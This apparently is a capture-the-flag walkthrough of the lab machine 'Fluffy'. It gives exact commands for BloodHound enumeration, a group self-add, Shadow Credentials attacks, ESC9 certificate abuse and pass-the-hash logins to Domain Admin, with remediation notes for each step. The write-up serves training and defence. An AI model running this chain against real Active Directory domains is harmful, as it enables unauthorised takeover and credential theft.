Fluffy
Summary
Starting from a single low-privilege domain credential (p.agila / <withheld>) supplied under an assumed-breach engagement, I collected the full Active Directory ACL graph with BloodHound and discovered that p.agila could self-add to the privileged 'Service Accounts' group. Membership in that group carried write rights over the msDS-KeyCredentialLink attribute of two domain service accounts.
A Shadow Credentials attack recovered the NT hash of winrm_svc, giving an interactive WinRM shell and the user flag. Repeating the attack from winrm_svc compromised ca_svc — the account managing the domain Certificate Authority.
Ca_svc's control over AD CS was exploited via an ESC9-style UPN-collision attack: its User Principal Name was temporarily changed to 'administrator', a certificate was requested from the CA, and PKINIT authentication on that certificate returned the built-in Administrator's NT hash. Pass-the-hash WinRM login as Administrator gave full Domain Admin access and the root flag, completing total domain compromise across five chained misconfigurations.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"
export HASH2="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 3
Service-version and default-script scan of all key AD ports.
$ nmap -sV -sC -p 53,88,139,389,445,464,593,636,3268,3269,5985,9389 --open -oN dc01_scan.txt $TARGETAdd DC01 and the domain to local DNS resolution.
$ echo "$TARGET dc01.fluffy.htb fluffy.htb" | sudo tee -a /etc/hostsConfirm DC01 hostname, OS build, SMB signing, and domain name.
$ netexec smb $TARGETExact commands 3
Collect all BloodHound data (users, groups, ACLs, GPOs, trusts) using the p.agila credential.
$ bloodhound-python -u p.agila -p "$PASSWORD" -d fluffy.htb -ns $TARGET -dc dc01.fluffy.htb -c All --zip --dns-tcp --disable-autogcSurface high-value ACL edges directly from the JSON without importing into the BloodHound UI.
$ grep -R "GenericAll\|GenericWrite\|Owns\|AddKeyCredentialLink\|Self" bh/*.json | head -50Enumerate AD CS certificate templates and flag vulnerable ones (ESC1–ESC9). '+7 hours' corrects the DC clock skew for Kerberos.
$ faketime '+7 hours' certipy find -u 'p.agila@fluffy.htb' -p "$PASSWORD" -dc-ip $TARGET -stdout -vulnerableExact commands 1
Exploit the Self-Membership ACE to enrol p.agila in Service Accounts over LDAP.
$ bloodyAD --host $TARGET -d fluffy.htb -u p.agila -p "$PASSWORD" add groupMember 'Service Accounts' p.agilaFixRemove Self-Membership and GenericWrite ACEs that allow ordinary users to join privileged groupsHigh
Exact commands 1
Write a forged key credential to winrm_svc's msDS-KeyCredentialLink and recover its NT hash. '+7 hours' compensates for the DC clock skew that causes Kerberos pre-auth to fail without it.
$ faketime '+7 hours' certipy shadow auto -u 'p.agila@fluffy.htb' -p "$PASSWORD" -dc-ip $TARGET -target $TARGET -account winrm_svcFixRestrict write access to msDS-KeyCredentialLink to prevent Shadow Credentials attacksCritical
Exact commands 2
Authenticate with the NT hash and read the user flag. Adjust the profile path if winrm_svc's home folder differs.
$ netexec winrm $TARGET -d fluffy.htb -u winrm_svc -H $HASH -x 'type C:\Users\winrm_svc\Desktop\user.txt'Open an interactive WinRM shell for the next escalation chain.
$ evil-winrm -i $TARGET -u winrm_svc -H $HASHExact commands 1
Same Shadow Credentials technique, now authenticated as winrm_svc using its NT hash, targeting ca_svc.
$ faketime '+7 hours' certipy shadow auto -u 'winrm_svc@fluffy.htb' -hashes ":$HASH" -dc-ip $TARGET -target $TARGET -account ca_svcExact commands 4
Set ca_svc's UPN to 'administrator' to prime the ESC9 identity confusion.
$ certipy account update -u 'ca_svc@fluffy.htb' -hashes ":$HASH2" -dc-ip $TARGET -target $TARGET -user ca_svc -upn administratorRequest a User-template certificate from the CA while ca_svc's UPN is 'administrator'; saves administrator.pfx locally.
$ certipy req -u 'ca_svc@fluffy.htb' -hashes ":$HASH2" -dc-ip $TARGET -target $TARGET -ca 'fluffy-DC01-CA' -template UserAuthenticate via PKINIT with the certificate; the DC resolves the embedded UPN to the Administrator account and returns its NT hash.
$ certipy auth -pfx administrator.pfx -dc-ip $TARGETRestore ca_svc's UPN to its original value (cleanup).
$ certipy account update -u 'ca_svc@fluffy.htb' -hashes ":$HASH2" -dc-ip $TARGET -target $TARGET -user ca_svc -upn 'ca_svc@fluffy.htb'FixEnforce strong certificate mapping in AD CS to eliminate ESC9 UPN-collision certificate abuseCritical
Exact commands 2
Replace <administrator-NT-hash> with the hash returned by 'certipy auth'. Confirms Domain Admin and retrieves root.txt.
$ netexec winrm $TARGET -d fluffy.htb -u administrator -H <administrator-NT-hash> -x 'type C:\Users\Administrator\Desktop\root.txt'Interactive Domain Admin shell on DC01 for full post-exploitation access.
$ evil-winrm -i $TARGET -u administrator -H <administrator-NT-hash>Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-07 07:35:06Z) |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name) |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name) |
| 3269/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49667/tcp | unknown recon-sweep-discovered |
| 49689/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49701/tcp | unknown recon-sweep-discovered |
| 49714/tcp | unknown recon-sweep-discovered |
| 49727/tcp | unknown recon-sweep-discovered |
| 49761/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.